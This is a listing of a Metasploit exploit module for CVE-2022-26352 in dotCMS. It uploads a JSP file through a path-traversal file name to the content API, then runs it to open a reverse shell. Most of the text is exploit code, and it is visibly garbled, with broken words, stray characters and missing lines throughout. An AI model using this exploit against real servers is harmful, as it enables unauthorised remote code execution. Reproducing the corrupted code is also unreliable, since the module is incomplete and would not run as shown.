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dotCMS Shell Upload

Authored by jheysel-r7, Hussein Daher, Shubham Shah | Site metasploit.com

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When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the file down in a temporary directory. In the case of this vulnerability, dotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temporary file's name. This allows an attacker to use a specially crafted request to POST files to dotCMS via the ContentResource API that gets written outside of the dotCMS temporary directory. In the case of this exploit, an attacker can upload a specially crafted .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

tags | exploit, remote, root, code execution

advisories | CVE-2022-26352

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## # This m	odule requires Metasploit: https://metasploit.com/download
	t source: https://github.com/rapid//metasploit-framework
##	
class Me	tasploitModule < Msf::Exploit::Remote
Rank =	ExcellentRanking
includ	e Msf::Exploit::Remote::HttpClient
includ	e Msf::Exploit::FileDropper d Msf::Exploit::Remote::AutoCheck
	itialize(info = {})
supe	
	date_info(info,
	"Name' => 'DotCMS RCE via Arbitrary File Upload.',
	'Description' => %q{
vrites t	When files are uploaded into dotCMS via the content API, but before they become content, dotCMS
VIICCO C	file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the
filename	
allows a	
get	specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that
pecial	written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload
	.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
	}, 'Author' => [
	'Shubham Shah', # Discovery and analysis
	'Hussein Daher', # Discovery and analysis 'jheysel-r7' # Metasploit module
	1,
	'License' => MSF_LICENSE, 'References' =>
	['CVE', '2022-26352'],
	['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
], 'Privileged' => false,
	Filatform' => %w(linux win],
	Targets' => [
	['Java Linux',
	· Java Linux·, {
	'Arch' => ARCH_JAVA,
	'Platform' => Tlinux'
	} 1,
	ľ
	'Java Windows',
	{ 'Arch' => ARCH JAVA,
	'Platform' => \win'
	}
]],
	// /bisclosureDate' => '2022-05-03',
	'DefaultTarget' => 0,
	'DefaultOptions' => {
	'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
	},
	'Notes' => {

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```
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
      register options([
         Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
  def check
      ir Cneck
test_content = Rex::Text.rand_text_alpha(10)
test_file = "#{test_content}.jsp"
test_path = "../../#{test_file}"
uuid = Faker::Internet.uuid
      File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}"); jsp.delete();
      #{uuid}
EOS
      vars_form_data = [
             'name' => 'name',
            'name' => 'name',
'data' => jsp,
'encoding' => nil,
'filename' => test_path,
'mime_type' => 'text/plain'
      send_request_cgi(
   'method' => 'POST',
   'uri' => normalize_uri(target_uri.path, '/api/content/'),
   'vars_form_data' => vars_form_data
      res = send_request_cgi(
'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, test_file.to_s)
      if res && res.body.include?(uuid)
  return Exploit::CheckCode::Vulnerable
      end
      Exploit::CheckCode::Safe
  def write_jsp_payload
  jsp_path = "../../#{jsp_filename}"
  print_status('Writing JSP payload')
  vars_form_data = [
            'name' => 'name',
'data' => payload.encoded,
'encoding' => nil,
'filename' => jsp_path,
'mime_type' => 'text/plain'
      res = send_request_cgi(
  'method' => 'POST',
         'method -/ Fooi, 'viri' => normalize uri(target_uri.path, '/api/content/'), 'vars_form_data' => vars_form_data
      unless res&.code == 500
         fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
      end
      register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
print_good('Successfully wrote JSP payload')
  def execute_jsp_payload
   jsp_uri = normalize_uri(target_uri.path, jsp_filename)
   print_status('Executing JSP payload')
      res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri
      unless res&.code == 200
         fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
      print good('Successfully executed JSP payload')
  def exploit
      write_jsp_payload
execute_jsp_payload
  def jsp_filename
  @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
   end
end
```

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